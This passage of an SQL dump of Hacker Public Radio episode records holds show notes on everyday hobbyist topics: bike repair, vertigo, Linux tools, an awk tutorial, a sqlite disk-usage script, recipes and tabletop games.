(2110,'2016-09-02','Overhauling a Bicycle Hub',2715,'Listen and enjoy as I overhaul the rear hub of my 1985 Schwinn. ','<p>I record and talk while overhauling the rear hub of my 1985 Schwinn road bike. I wasn’t able to take pictures because my hands were really greasy, so if this interests you and you want to see how it’s done, search the web or YouTube for instructional materials. This episode was recorded on my phone with the $2 lapel microphone, uploaded straight to the HPR website. Easy!</p>\r\n',238,115,1,'CC-BY-SA','DIY, bicycle maintenance, bike maintenance, bicycles ',0,0,1),
(2109,'2016-09-01','Hacking my inner ear',925,'How I discovered some new things about how my inner ear works and how to stop falling over','<h1 id=\"hacking-my-inner-ear\">Hacking my inner ear</h1>\r\n<p>In April 2015 I suddenly found myself getting dizzy as I bent down – to the extent where I actually fell over at one point. I went to see a doctor but didn’t get a diagnosis.</p>\r\n<p>A medical student I know suggested it might be <a href=\"https://en.wikipedia.org/wiki/Benign_paroxysmal_positional_vertigo\" title=\"Benign Paroxysmal Positional Vertigo\">BPPV - Benign Paroxysmal Positional Vertigo</a>, and with that in mind I researched it and found what turned out to be a cure.</p>\r\n<p>See the full notes for more details: <a href=\"https://hackerpublicradio.org/eps/hpr2109/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2109/full_shownotes.html</a></p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Wikipedia article on BPPV: <a href=\"https://en.wikipedia.org/wiki/Benign_paroxysmal_positional_vertigo\" class=\"uri\">https://en.wikipedia.org/wiki/Benign_paroxysmal_positional_vertigo</a></li>\r\n<li>Wikipedia article on the inner ear: <a href=\"https://en.wikipedia.org/wiki/Inner_ear\" class=\"uri\">https://en.wikipedia.org/wiki/Inner_ear</a>\r\n<ul>\r\n<li>Vestibule: <a href=\"https://en.wikipedia.org/wiki/Vestibule_of_the_ear\" class=\"uri\">https://en.wikipedia.org/wiki/Vestibule_of_the_ear</a></li>\r\n<li>Semicircular canals: <a href=\"https://en.wikipedia.org/wiki/Semicircular_canals\" class=\"uri\">https://en.wikipedia.org/wiki/Semicircular_canals</a></li>\r\n</ul></li>\r\n<li><em>Epley manoeuvre</em>:\r\n<ul>\r\n<li>Wikipedia article on the manoeuvre: <a href=\"https://en.wikipedia.org/wiki/Epley_maneuver\" class=\"uri\">https://en.wikipedia.org/wiki/Epley_maneuver</a></li>\r\n<li>YouTube animation showing the manoeuvre: <a href=\"https://www.youtube.com/watch?v=9SLm76jQg3g\" class=\"uri\">https://www.youtube.com/watch?v=9SLm76jQg3g</a></li>\r\n</ul></li>\r\n</ul>',225,0,1,'CC-BY-SA','BPPV, inner ear, vestibular system',0,0,1),
(2104,'2016-08-25','Basic Audio Production: Reverb',1451,'A very basic description of the reverb effect','<p>Here is the calf reverb plugin, neat and with a nice graphic interface (it contains a few parameters that I don’t cover in the podcast, thought).</p>\r\n<p><a href=\"https://www.audiopluginsforfree.com/calf-reverb/\" class=\"uri\">https://www.audiopluginsforfree.com/calf-reverb/</a></p>\r\n<p>You can probably download it too directly from your Package Manager</p>',323,0,0,'CC-BY-SA','Music, Audio, Audio Production, Sound, Compression, Recording techniques, Reverb',0,0,1),
(2112,'2016-09-06','My old home server',945,'A show about my old home server','<ul>\r\n<li><p>Picture of the Compaq Ipaq Desktop Computer<br />\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/1/1c/IPaqLegacyFreeFront.jpg\" alt=\"https://upload.wikimedia.org/wikipedia/commons/1/1c/IPaqLegacyFreeFront.jpg\" width=\"450\" /></p></li>\r\n<li><p>Wikipedia article about the Compaq Ipaq<br />\r\n<a href=\"https://en.wikipedia.org/wiki/IPAQ_(desktop_computer)\" class=\"uri\">https://en.wikipedia.org/wiki/IPAQ_(desktop_computer)</a></p></li>\r\n<li><p>Xubuntu, a lightweight Ubuntu distro derivative running Xfce<br />\r\n<a href=\"https://xubuntu.org/\" class=\"uri\">https://xubuntu.org/</a></p></li>\r\n<li><p>Clonezilla the excellent Open Source disk cloning software<br />\r\n<a href=\"https://clonezilla.org/\" class=\"uri\">https://clonezilla.org/</a></p></li>\r\n<li><p>Link to Hpodder podcast client man page<br />\r\n<a href=\"https://jgoerzen.github.io/hpodder/html/hpodder.man.html\" class=\"uri\">https://jgoerzen.github.io/hpodder/html/hpodder.man.html</a></p></li>\r\n<li><p>Link to Moc, Music On Console<br />\r\n<a href=\"https://moc.daper.net/\" class=\"uri\">https://moc.daper.net/</a></p></li>\r\n<li><p>Link to MediaTomb UPNP server<br />\r\n<a href=\"https://mediatomb.cc/\" class=\"uri\">https://mediatomb.cc/</a></p></li>\r\n</ul>',201,0,0,'CC-BY-SA','linux, hardware, server',0,0,1),
(2115,'2016-09-09','Apt Spelunking 3: nodm, cmus, and parecord',801,'Windigo wades through the Debian repositories and brings attention to some of the good stuff.','<p>Hello, this is Windigo, and Welcome to the another episode of apt spelunking! If you missed the first episode, then you probably missed the second episode as well. I assure you, they were fantastic; no need to go back and check.</p>\r\n<p>This series (and yes, it’s official now) is about finding uncommon packages that are buried in the Debian repos. It could very well be about finding packages in other repos, but no Arch, Fedora, Ubuntu or OpenSUSE users are smart or handsome enough to contribute an episode.</p>\r\n<p>In no particular order, here are a few more packages I’ve discovered.</p>\r\n<h2 id=\"nodm\">nodm</h2>\r\n<p>nodm is a very small, very specific utility that is used to start an X session automatically.</p>\r\n<p>On Debian, you configure nodm with the configuration file located at /etc/defaults/nodm. You can specify whether or not nodm is enabled, which user to run as, and what x session to run.</p>\r\n<p>While hugely insecure, nodm is a great way to avoid the hassle of a full display manager like gdm or lightdm. It’s extremely lightweight, which is perfect for my Mini 9, and kicks things right into my custom i3 session.</p>\r\n<h2 id=\"cmus\">cmus</h2>\r\n<p>cmus is a very comprehensive, console-based music player. cmus stands for “C* music player“.</p>\r\n<p>I received cmus as a recommendation from chalkahlom (Gavin) while looking for a media player suitable for the Mini 9. It is a very light application (1.5M uncompressed), which suited my needs well.</p>\r\n<p>The interface of cmus is slightly strange, and may take some getting used to. It is broken up into seven “views”, which can be accessed using the number keys. The views are “Library”, “Sorted Library”, “Playlist”, “Play Queue”, “Browser”, “Filters”, and “Settings”.</p>\r\n<p>To be honest, I still haven’t given cmus a fair shake. It seems like an excellent music player, but I’m still unable to break away from the familiarity of audacious. I’m once again reaffirming my commitment to trying cmus out; it seems like a really good player, if given the time of day.</p>\r\n<h2 id=\"parecord\">parecord</h2>\r\n<p>Pulseaudio comes with a selection of very handy command-line utilities that can be used to play and record audio in various formats. The one I’d like to discuss is “parecord”.</p>\r\n<p>Ordinarily, I do all of my podcast recording with the arecord utility, which talks directly to ALSA. Last time I tried this, it very badly broke audacity when I tried to import the audio. I sounded like a chipmunk, and then audacity crashed.</p>\r\n<p>parecord is a nice alternative to arecord, because it also does encoding on the fly. There may be an ALSA equivalent that also encodes your audio as you’re recording, but I don’t know about it. At best, you’d have to pipe the output of arecord to avconv or a similar utility.</p>\r\n<p>Using parecord, I can specify the file format using the <code>--file-format</code> flag, and record directly to FLAC, which is what HPR prefers. Other formats are available, but I think FLAC is a good balance of quality and compression.</p>\r\n<p>If you prefer the raw recording style of arecord, there is a utility called parec which will record raw audio data, but it’s a bit outside of the scope of this podcast. Also, I don’t really know much about it.</p>\r\n<hr />\r\n<p>I hope someone can find some use in the applications I’ve mentioned here. If you have some other packages that you find indispensable and/or useful, I’d love to hear about them in your very own episode.</p>\r\n',196,98,0,'CC-BY-SA','linux, pulseaudio, music',0,0,1),
(2113,'2016-09-07','sqlite and bash',894,'Using cron, du,sqlite, and bash to find directory growth','<h3 id=\"crontab\">Crontab</h3>\r\n<p><code>0 3 * * 0 /bin/du -m /data/ &gt; /home/USER/du_files/&quot;du_$(/bin/date +\\%Y\\%m\\%d)&quot;</code></p>\r\n<h3 id=\"script\">Script</h3>\r\n<pre><code>cd ~/du_files\r\nTODAYS_FILE=&quot;du_$(/usr/bin/date +%Y%m%d)&quot;\r\nYESTERDAYS_FILE=&quot;du_$(/usr/bin/date --date=&quot;7 days ago&quot; +%Y%m%d)&quot;\r\n/usr/bin/echo &quot;create table old (oldsize integer, path varchar);&quot; &gt; delta.sql\r\n/usr/bin/echo &quot;create table new (newsize integer, path varchar);&quot; &gt;&gt; delta.sql\r\n/usr/bin/echo &#39;.separator &quot;\\t&quot; &#39; &gt;&gt; delta.sql\r\n/usr/bin/echo &quot;.import $TODAYS_FILE new&quot; &gt;&gt; delta.sql\r\n/usr/bin/echo &quot;.import $YESTERDAYS_FILE old&quot; &gt;&gt; delta.sql\r\n/usr/bin/echo &quot;.mode csv&quot; &gt;&gt; delta.sql\r\n/usr/bin/echo &quot;.headers on&quot; &gt;&gt; delta.sql\r\n/usr/bin/echo &quot;.out deltas.csv&quot; &gt;&gt; delta.sql\r\n/usr/bin/echo &quot;select *,newsize-oldsize as delta_in_megabytes from old natural join new where oldsize&lt;newsize order by delta_in_megabytes desc;&quot; &gt;&gt; delta.sql\r\n\r\n/usr/bin/sqlite3 &lt; delta.sql\r\n\r\necho $YESTERDAYS_FILE|/usr/bin/mailx -a deltas.csv -s deltas.csv me@mywork.com</code></pre>\r\n<h3 id=\"resulting-sql\">Resulting SQL</h3>\r\n<pre><code>create table old (oldsize integer, path varchar);\r\ncreate table new (newsize integer, path varchar);\r\n.separator &quot;\\t&quot;\r\n.import du_20160821 new\r\n.import du_20160814 old\r\n.mode csv\r\n.headers on\r\n.out deltas.csv\r\nselect *,newsize-oldsize as delta_in_megabytes\r\nfrom old    natural join new    where oldsize&lt;newsize\r\norder by delta_in_megabytes desc;</code></pre>\r\n',342,0,0,'CC-BY-SA','bash,sqlite',0,0,1),
(2114,'2016-09-08','Gnu Awk - Part 1',1350,'An introduction the the awk text parsing tool','<h1 id=\"introduction-to-awk\">Introduction to Awk</h1>\r\n<p>Awk is a powerful text parsing tool for unix and unix-like systems.</p>\r\n<p>The basic syntax is:</p>\r\n<pre><code>awk [options] &#39;pattern {action}&#39; file</code></pre>\r\n<p>Here is a simple example file that we will be using, called <code>file1.txt</code>:</p>\r\n<pre><code>name       color  amount\r\napple      red    4\r\nbanana     yellow 6\r\nstrawberry red    3\r\ngrape      purple 10\r\napple      green  8\r\nplum       purple 2\r\nkiwi       brown  4\r\npotato     brown  9\r\npineapple  yellow 5</code></pre>\r\n<p>First command:</p>\r\n<pre><code>awk &#39;{print $2}&#39; file1.txt</code></pre>\r\n<p>As you can see, the “print” command will display the whatever follows. In this case we are showing the second column using “$2”. This is intuitive. To display all columns, use “$0”.</p>\r\n<p>This example will output:</p>\r\n<pre><code>color\r\nred\r\nyellow\r\nred\r\npurple\r\ngreen\r\npurple\r\nbrown\r\nbrown\r\nyellow</code></pre>\r\n<p>Second command:</p>\r\n<pre><code>awk &#39;$2==&quot;yellow&quot;{print $1}&#39; file1.txt</code></pre>\r\n<p>This will output:</p>\r\n<pre><code>banana\r\npineapple</code></pre>\r\n<p>As you can see, the command matches items in column 2 matching “yellow”, but prints column 1.</p>\r\n<h2 id=\"field-separator\">Field separator</h2>\r\n<p>By default, awk uses white space as the file separator. You can change this by using the -F option. For instance, <code>file1.csv</code> looks like this:</p>\r\n<pre><code>name,color,amount\r\napple,red,4\r\nbanana,yellow,6\r\nstrawberry,red,3\r\ngrape,purple,10\r\napple,green,8\r\nplum,purple,2\r\nkiwi,brown,4\r\npotato,brown,9\r\npineapple,yellow,5</code></pre>\r\n<p>A similar command as before:</p>\r\n<pre><code>awk -F&quot;,&quot; &#39;$2==&quot;yellow&quot; {print $1}&#39; file1.csv</code></pre>\r\n<p>will still output:</p>\r\n<pre><code>banana\r\npineapple</code></pre>\r\n<p>Regular expressions work as well:</p>\r\n<pre><code>awk &#39;$2 ~ /p.+p/ {print $0}&#39; file1.txt</code></pre>\r\n<p>This returns:</p>\r\n<pre><code>grape   purple  10\r\nplum    purple  2</code></pre>\r\n<p>Numbers are interpreted automatically:</p>\r\n<pre><code>awk &#39;$3&gt;5 {print $1, $2}&#39; file1.txt</code></pre>\r\n<p>Will output:</p>\r\n<pre><code>name    color\r\nbanana  yellow\r\ngrape   purple\r\napple   green\r\npotato  brown</code></pre>\r\n<p>Using output redirection, you can write your results to file. For example:</p>\r\n<pre><code>awk -F, &#39;$3&gt;5 {print $1, $2}&#39; file1.csv &gt; output.txt</code></pre>\r\n<p>This will output a file with the contents of the query.</p>\r\n<p>Here’s a cool trick! You can automatically split a file into multiple files grouped by column. For example, if I want to split file1.txt into multiple files by color, here is the command.</p>\r\n<pre><code>awk &#39;{print &gt; $2&quot;.txt&quot;}&#39; file1.txt</code></pre>\r\n<p>This will produce files named yellow.txt, red.txt, etc. In upcoming episodes, we will show how to improve the outputs.</p>\r\n<h1 id=\"resources\">Resources</h1>\r\n<ol type=\"1\">\r\n<li><a href=\"https://www.theunixschool.com/p/awk-sed.html\" class=\"uri\">https://www.theunixschool.com/p/awk-sed.html</a></li>\r\n<li><a href=\"https://www.tecmint.com/category/awk-command/\" class=\"uri\">https://www.tecmint.com/category/awk-command/</a></li>\r\n<li><a href=\"https://linux.die.net/man/1/awk\" class=\"uri\">https://linux.die.net/man/1/awk</a></li>\r\n</ol>\r\n<h1 id=\"coming-up\">Coming up</h1>\r\n<ul>\r\n<li>More options</li>\r\n<li>Built-in Variables</li>\r\n<li>Arithmetic operations</li>\r\n<li>Awk language and syntax</li>\r\n</ul>\r\n',300,94,1,'CC-BY-SA','awk,bash,linux',0,0,1),
(2116,'2016-09-12','Duffer Gardening',746,'Prior to a Duffercast recording chalkahlom, inscius and I had a conversation about gardening','<h1 id=\"duffer-gardening\">Duffer Gardening</h1>\r\n<p>In August I was invited on the <a href=\"https://duffercast.org/\" title=\"The Duffercast\">Duffercast podcast</a> as a guest.</p>\r\n<p>While waiting for all of the participants to arrive, <a href=\"https://quitter.se/inscius\" title=\"inscius\">inscius (Mikael)</a> in Sweden, <a href=\"https://micro.fragdev.com/chalkahlom\" title=\"chalkahlom\">chalkahlom (Gavin)</a> in Hungary and myself in Edinburgh, Scotland, decided to record a show for HPR, since we were using Mumble. Because two of the participants are gardeners we chatted about gardening.</p>\r\n<p>This show is the result.</p>\r\n<p>More about <em>The Duffercast</em> may be found at <a href=\"https://duffercast.org/\" class=\"uri\">https://duffercast.org/</a>.</p>\r\n<p>Thanks also to <a href=\"https://thebugcast.org/\"><em>The Bugcast</em></a> for the use of their Mumble server!</p>\r\n<p>Note: The <em>Calendula</em> that Mikael mentioned is more commonly known as a Marigold <a href=\"https://en.wikipedia.org/wiki/Calendula\" class=\"uri\">https://en.wikipedia.org/wiki/Calendula</a>.</p>\r\n',225,0,1,'CC-BY-SA','duffer,gardening',0,0,1),
(2117,'2016-09-13','What\'s in my bag for Podcrawl?',771,'Dave shows us what is in the bag he\'s taking to the London Podcrawl.','<h1 id=\"whats-in-my-bag-for-podcrawl\">What’s in my bag for Podcrawl?</h1>\r\n<h2 id=\"videos\">Videos</h2>\r\n<p>[Video on <a href=\"https://www.periscope.tv/w/ao91YjEzOTE2NzU0fDFQbEtRek9Pbm9aR0UT6edG2EACyZJlzqvmb8zyKYyoS9Y0ivd5yW_CFsj5tA==\">Periscope</a>] [Video on <a href=\"https://media.thelovebug.org/u/thelovebug/m/whats-in-my-bag-for-podcrawl/\">Mediagoblin</a>]</p>\r\n<h2 id=\"products\">Products</h2>\r\n<p><strong>Mountain Warehouse backpack</strong><br />\r\nI couldn’t find exact model (I believe it was in a sale), but likely to be a 10 litre backpack<br />\r\n[<a href=\"https://www.mountainwarehouse.com/travel/backpacks/mini-backpacks/\">mountainwarehouse.com</a>]</p>\r\n<p><strong>Google Pixel C - Android tablet</strong><br />\r\n[<a href=\"https://pixel.google.com/\">google.com</a>]</p>\r\n<p><strong>Microsoft Universal Mobile Keyboard</strong><br />\r\n[<a href=\"https://www.microsoft.com/accessories/en-us/products/keyboards/universal-mobile-keyboard/p2z-00001\">microsoft.com</a>][<a href=\"https://www.amazon.co.uk/Microsoft-Universal-Mobile-Keyboard-Layout/dp/B00NSNDIJQ/\">amazon.co.uk</a>]</p>\r\n<p><strong>AmazonBasics 7-inch Black Sleeve</strong><br />\r\n[<a href=\"https://www.amazon.co.uk/AmazonBasics-7-Inch-Sleeve-Kindle-Samsung/dp/B00I8T4J5C/\">amazon.co.uk</a>]</p>\r\n<p><strong>AmazonBasics 10-inch Black Sleeve</strong><br />\r\n[<a href=\"https://www.amazon.co.uk/AmazonBasics-10-Inch-Black-Sleeve-iPad/dp/B00I8T4PUG/\">amazon.co.uk</a>]</p>\r\n<p><strong>Samson Q2U Microphone (USB/XLR)</strong><br />\r\n[<a href=\"https://www.samsontech.com/samson/products/microphones/usb-microphones/q2u/\">samsontech.com</a>][<a href=\"https://www.amazon.co.uk/Samson-Q2U-Microphone-HP20-Headphones/dp/B001R747SG/\">amazon.co.uk</a>]</p>\r\n<p><strong>Olympus DM-3 Portable Recorder</strong><br />\r\n[<a href=\"https://www.olympus.co.uk/site/en/archived_products/audio/audio_recording_1/dm_3/dm_3_boxcontents.html\">olympus.co.uk</a>][<a href=\"https://www.amazon.co.uk/Olympus-DM-3-Digital-Voice-Recorder/dp/B003UP6ALA/\">amazon.co.uk</a>]</p>\r\n<p><strong>Marshall Major Headphones</strong><br />\r\n[<a href=\"https://www.amazon.co.uk/Marshall-Major-Headphones-Mic-Black/dp/B00590GH8K/\">amazon.co.uk</a>]</p>\r\n<p><strong>Microsoft 3600 Bluetooth Mobile Mouse</strong><br />\r\n[<a href=\"https://www.microsoft.com/accessories/en-us/products/mice/bluetooth-mobile-mouse-3600/pn7-00001\">microsoft.com</a>][<a href=\"https://www.amazon.co.uk/Microsoft-3600-Bluetooth-Mobile-Mouse/dp/B016ULQMOA/\">amazon.co.uk</a>]</p>\r\n<p><strong>Smartphone Audio Splitters</strong><br />\r\n[<a href=\"https://www.amazon.co.uk/gp/product/B01518S836/\">amazon.co.uk</a> black one][<a href=\"https://www.amazon.co.uk/gp/product/B00CPEZ4J6/\">amazon.co.uk</a> white one]</p>\r\n<p><strong>Neewer 3.5mm Hands Free Computer Clip on Mini Lapel Microphone</strong><br />\r\n[<a href=\"https://www.amazon.co.uk/gp/product/B005DOTSM4/\">amazon.co.uk</a>]</p>\r\n<p><strong>Samsung OTG MicroUSB Connector</strong><br />\r\n[<a href=\"https://www.handtec.co.uk/samsung-galaxy-s7-s7-edge-otg-microusb-connector-white-gh96-09728a.html\">handtec.co.uk</a>]</p>\r\n<p><strong>Exibel USB Powerbank</strong><br />\r\n(actually, these aren’t that good)<br />\r\n[<a href=\"https://www.clasohlson.com/uk/Exibel-USB-Powerbank/38-4518\">clasohlson.co.uk</a>]</p>\r\n<p><strong>Samsung Galaxy S7 Edge</strong><br />\r\n[<a href=\"https://samsung.com/Galaxy-S7-Edge\">samsung.com</a>]</p>\r\n<p>All other products mentioned are fairly generic and/or commonplace. Links are provided for information only, and do not represent a recommendation of purchase from any particular vendor, although I may have purchased the items from that vendor myself.</p>\r\n',314,23,0,'CC-BY-SA','backpack,Google Pixel C,Samson Q2U Microphone,Olympus DM-3,Marshall Major Headphones,Neewer 3.5mm Lapel Microphone',0,0,1),
(2119,'2016-09-15','Making Chocolate Chip Cookies',2436,'Listen live as I make a batch of really tasty chocolate chip cookies','<p><a href=\"https://www.flickr.com/photos/137675441@N05/albums/72157669929367663\" title=\"Baking Cookies \"><img src=\"https://c2.staticflickr.com/9/8026/29300715105_ce1db43fbb.jpg\" width=\"500\" height=\"281\" alt=\"Baking Cookies \"/></a></p>\r\n\r\n<h2 id=\"dollarcookierecipe\">The $250 Cookie Recipe</h2>\r\n\r\n<h3 id=\"ingredients\">Ingredients</h3>\r\n\r\n<p>1 cup butter <br />\r\n1 cup sugar <br />\r\n1 cup brown sugar <br />\r\n1 tsp. vanilla <br />\r\n2 eggs <br />\r\n2 cups flour <br />\r\n1 tsp. soda <br />\r\n1 tsp. baking powder <br />\r\n2½ cups blended oatmeal <br />\r\n½ tsp. salt <br />\r\n<!-- 4 oz. grated Hershey bar <br /> -->\r\n12 oz. chocolate chips <br />\r\n1½ cups chopped nuts (your choice)  </p>\r\n\r\n<h3 id=\"directions\">Directions</h3>\r\n\r\n<p>Cream the butter and both sugars.  Add eggs and vanilla.  Mix dry ingredients together in separate bowl.  Combine with the butter/sugar/egg mixture.  Add chocolate chips.  Roll into balls and place 2 inches apart on a cookie sheet.</p>\r\n\r\n<p>Bake for 10–12 minutes at 375°F.  </p>\r\n\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://www.kitchenaid.com/shop/-[KSM150PSER]-400120/KSM150PSER/\">The KitchenAid Artisan Mixer</a></li>\r\n</ul>\r\n',238,93,0,'CC-BY-SA','Cooking, Baking, Yummy Things, Recipes, Cookies, Desserts',0,0,1),
(2118,'2016-09-14','What is App Inventor?',1072,'An overview of the online free Android app creator','<p>\r\n<a href=\"https://appinventor.mit.edu/\" target=\"_blank\">https://appinventor.mit.edu/ </a>\r\n</p>\r\n<p>\r\nFrom <a href=\"https://en.wikipedia.org/wiki/App_Inventor_for_Android\" target=\"_blank\">https://en.wikipedia.org/wiki/App_Inventor_for_Android</a>\r\n</p>\r\n<p>\r\nApp Inventor for Android is an open-source web application originally provided by Google, and now maintained by the Massachusetts Institute of Technology (MIT).\r\n</p>\r\n<p>\r\nIt allows newcomers to computer programming to create software applications for the Android operating system (OS). It uses a graphical interface, very similar to Scratch and the StarLogo TNG user interface, which allows users to drag-and-drop visual objects to create an application that can run on Android devices. In creating App Inventor, Google drew upon significant prior research in educational computing, as well as work done within Google on online development environments.\r\n</p>\r\n',323,0,0,'CC-BY-SA','Android, Programming, Apps, Free apps, Online services, Programming languages',0,0,1),
(2136,'2016-10-10','Fluxx Tabletop Game',1092,'Klaatu reviews the card game (Pirate) Fluxx','<p>Klaatu reviews the card game series, Fluxx.</p>\r\n<p><a href=\"https://boardgamegeek.com/geeksearch.php?action=search&amp;objecttype=boardgame&amp;q=fluxx&amp;B1=Go\" class=\"uri\">https://boardgamegeek.com/geeksearch.php?action=search&amp;objecttype=boardgame&amp;q=fluxx&amp;B1=Go</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Fluxx\" target=\"_blank\">https://en.wikipedia.org/wiki/Fluxx</a></p>\r\n<p>\r\nFluxx is a card game, played with a specially designed deck published by Looney Labs. It is different from most other card games, in that the rules and the conditions for winning are altered throughout the game, via cards played by the players.\r\n</p>\r\n',78,95,1,'CC-BY-SA','game,gaming,tabletop,card,boardgame',0,0,1),
(2124,'2016-09-22','Repairing a Cloth Shopping Bag with a Sewing Machine',1276,'I talk while sewing the strap back onto a cloth shopping bag','<p>In this episode I repair one of the straps/handles of a cloth shopping bag. I talk about using a sewing machine, about those dreadful bobbins, and about sewing a Halloween costume one time. I actually cut out about four or five minutes of near silence from when I was trying to get the thread to go through the needle. That\'s getting much harder to do as I get older. See the Pictures too.</p>\r\n\r\n<a href=\"https://www.flickr.com/photos/137675441@N05/albums/72157670057607544\" title=\"Shopping Bag Repair \"><img src=\"https://c3.staticflickr.com/9/8097/29349531226_8177f57b6d.jpg\" width=\"500\" height=\"281\" alt=\"Shopping Bag Repair \"/></a>\r\n',238,0,0,'CC-BY-SA','DIY, sewing, fixing stuff, repairs',0,0,1),
(2121,'2016-09-19','Dark Cults Tabletop Game',1795,'Klaatu discusses the EOL tabletop game DARK CULTS','<p>Klaatu talks about the long-gone (but not forgotten, clearly) DARK CULTS tabletop game. His print-and-play revival is available here: <a href=\"https://gitlab.com/notklaatu/darkoccult\" class=\"uri\">https://gitlab.com/notklaatu/darkoccult</a></p>\r\n',78,95,1,'CC-BY-SA','game,gaming,tabletop,card,boardgame',0,0,1),
(2122,'2016-09-20','Alpha32\'s new machine',506,'I built a new computer.','<p>I built a new desktop computer with AMD components. </p>',303,57,1,'CC-BY-SA','desktop, building, linux, AMD',0,0,1),
(2123,'2016-09-21','How I make coffee',351,'A show about how I use my Coffee Gator','<p>The coffee gator is a pretty nice device, as is the swan-necked kettle they have. I recommend both.</p>\r\n',303,88,1,'CC-BY-SA','coffee, coffee gator, pour over, chemex',0,0,1),
(2125,'2016-09-23','My mobile recording solution',144,'How I record decent audio in my creeper van.','<p>I use a Plantronics USB headset, my Chromebook, Linux, and Audacity to record on the go.</p>',303,45,1,'CC-BY-SA','chromebook, mobile, recording, audio',0,0,1),
(2126,'2016-09-26','My new (old) tablet',455,'How I got the cruft off my LG Gpad 7','<p>It took a while, but I finally figured out how to install custom recovery and flash a new OS on my $1 tablet.</p>\r\n',303,0,1,'CC-BY-SA','v410, LG, gpad, cyanogenmod, tablet, mobile, hack',0,0,1),
(2127,'2016-09-27','Tabletop Gaming',2051,'Klaatu ponders analogue programming and tabletop gaming','<p>Klaatu ponders analogue programming and tabletop gaming.</p>\r\n',78,0,1,'CC-BY-SA','game,gaming,tabletop,card,boardgame',0,0,1),
(2132,'2016-10-04','Gloom Tabletop Game',1409,'Klaatu reviews the card game Gloom','<p>Klaatu reviews the card game “Gloom”, including its strengths, weaknesses, and potential for player mods.</p>\r\n<p><a href=\"https://boardgamegeek.com/boardgame/12692/gloom\" class=\"uri\">https://boardgamegeek.com/boardgame/12692/gloom</a></p>',78,95,1,'CC-BY-SA','game,gaming,tabletop,card,boardgame',0,0,1),
(2371,'2017-09-04','HPR Community News for August 2017',5259,'HPR Volunteers talk about shows released and comments posted in August 2017','\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2347\" target=\"_blank\">2347</a></strong></td>\n    <td>Tue</td>\n    <td>2017-08-01</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2347\" target=\"_blank\">An Intro to Apache Hadoop</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2348\" target=\"_blank\">2348</a></strong></td>\n    <td>Wed</td>\n    <td>2017-08-02</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2348\" target=\"_blank\">Vim Hints 005</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2349\" target=\"_blank\">2349</a></strong></td>\n    <td>Thu</td>\n    <td>2017-08-03</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2349\" target=\"_blank\">Customizing my bash prompt</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2350\" target=\"_blank\">2350</a></strong></td>\n    <td>Fri</td>\n    <td>2017-08-04</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2350\" target=\"_blank\">Ahuka Insurance - Understanding The Marketplace</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2351\" target=\"_blank\">2351</a></strong></td>\n    <td>Mon</td>\n    <td>2017-08-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2351\" target=\"_blank\">HPR Community News for July 2017</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2352\" target=\"_blank\">2352</a></strong></td>\n    <td>Tue</td>\n    <td>2017-08-08</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2352\" target=\"_blank\">Liverpool Makefest 2017 Show 5</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2353\" target=\"_blank\">2353</a></strong></td>\n    <td>Wed</td>\n    <td>2017-08-09</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2353\" target=\"_blank\">RoboThermometer</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=182\" target=\"_blank\">Epicanis</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2354\" target=\"_blank\">2354</a></strong></td>\n    <td>Thu</td>\n    <td>2017-08-10</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2354\" target=\"_blank\">Night Sounds in Rural Tennessee</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2355\" target=\"_blank\">2355</a></strong></td>\n    <td>Fri</td>\n    <td>2017-08-11</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2355\" target=\"_blank\">Wii and WiiU Software Modding</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a 